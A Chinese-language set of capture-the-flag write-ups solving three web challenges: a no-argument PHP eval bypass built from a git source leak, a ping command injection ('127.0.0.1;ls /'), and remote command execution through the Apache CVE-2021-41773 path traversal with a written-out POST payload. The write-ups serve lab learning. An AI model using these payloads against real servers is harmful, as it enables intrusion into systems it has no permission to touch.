[GXYCTF 2019]禁止套娃
涉及知识点:git泄露,无参数RCE
打开环境,源码什么的都没有,扫描后台看看
扫描发现存在git泄露
用githack下载查看得到一串源码
<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
// echo $_GET['exp'];
@eval($_GET['exp']);
}
else{
die("还差一点哦!");
}
}
else{
die("再好好想想!");
}
}
else{
die("还想读flag,臭弟弟!");
}
}
// highlight_file(__FILE__);
?>
又看见了';',很明显的无参数绕过了,但是还是不考虑getallheaders,因为不清楚环境条件,所以一般不使用,还是选择利用php函数来绕过;
php的伪协议被过滤了,还有一些数学函数也被过滤了,就老实利用php函数来绕过了
localeconv() – 函数返回一个包含本地数字及货币格式信息的数组 第一个是.
pos() – 返回数组中的当前单元, 默认取第一个值
next – 将内部指针指向数组下一个元素并输出
scandir() – 扫描目录
array_reverse() – 翻转数组
array_flip() - 键名与数组值对调
readfile()
array_rand() - 随机读取键名
var_dump() - 输出数组,可以用print_r替代
file_get_contents() - 读取文件内容,show_source,highlight_file echo 可代替
get_defined_vars() - 返回由所有已定义变量所组成的数组
end() - 读取数组最后一个元素
current() - 读取数组的第一个元
参数是exp,开始传参
exp=var_dump(localeconv());
返回当前单元,也就是"."下的内容
exp=var_dump(pos(localeconv()));
扫描目录下内容,看见flag.php了,快了
exp=var_dump(scandir(pos(localeconv())));
因为flag.php位置是倒数第二个,所以采取翻转数组,在改变内置指针的指向来读取flag
exp=var_dump(next(array_reverse(scandir(pos(localeconv())))));
读取flag.php,这里用的是show_source命令
exp=var_dump(show_source(next(array_reverse(scandir(pos(localeconv()))))));
[SWPUCTF 2023 秋季新生赛]Pingpingping
源码
需要传入Ping_ip.exe的参数,但是在网页传参以后,"_"会被替换成".",所以用[替换后能正常传参(
Ping[ip.exe=127.0.0.1” 是一个Ping命令,用于测试与目标IP地址的网络连接。在这种情况下,目标IP地址是本地回环地址(127.0.0.1),表示测试本机的网络连接。)
ping-c3,给了三个ping回显工具,那么到这里后面进正常进行命令执行
Ping[ip.exe=127.0.0.1;ls /
看见flag了,cat就行
[NSSRound#4 SWPU]ez_rce
CVE-2021-41773(Apache HTTP Server路径穿越漏洞)
同时如果Apache HTTPd 开启了 cgi 支持,攻击者可构造恶意请求执行命令,控制服务器。
条件:
配置目录遍历,并且开启cgi mode 2.Apache HTTPd版本为2.4.49/2.4.50 3.存在cgi-bin和icons文件夹;而且/icons/必需是一个可以访问的文件夹
利用 :
抓包构造post传参,传入.%2e/的形式,来绕过对于路径穿越符的检测,在cgi-bin服务器上执行命令执行查看目录
POST /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh
打开环境,什么都没有,标签说是CVE泄露,在Apache环境下存在CVE-2021-41773
所以通过抓包,修改传参来绕过
查看flag,但是这里会发现直接查看flag_is_here没有回显,一个一个尝试,在run.sh里面发现线索,有些wp说根据经验知道有个四层文件夹迷宫,然后去爆破四层迷宫,这里查看run.sh也是一样的
看见真正的位置了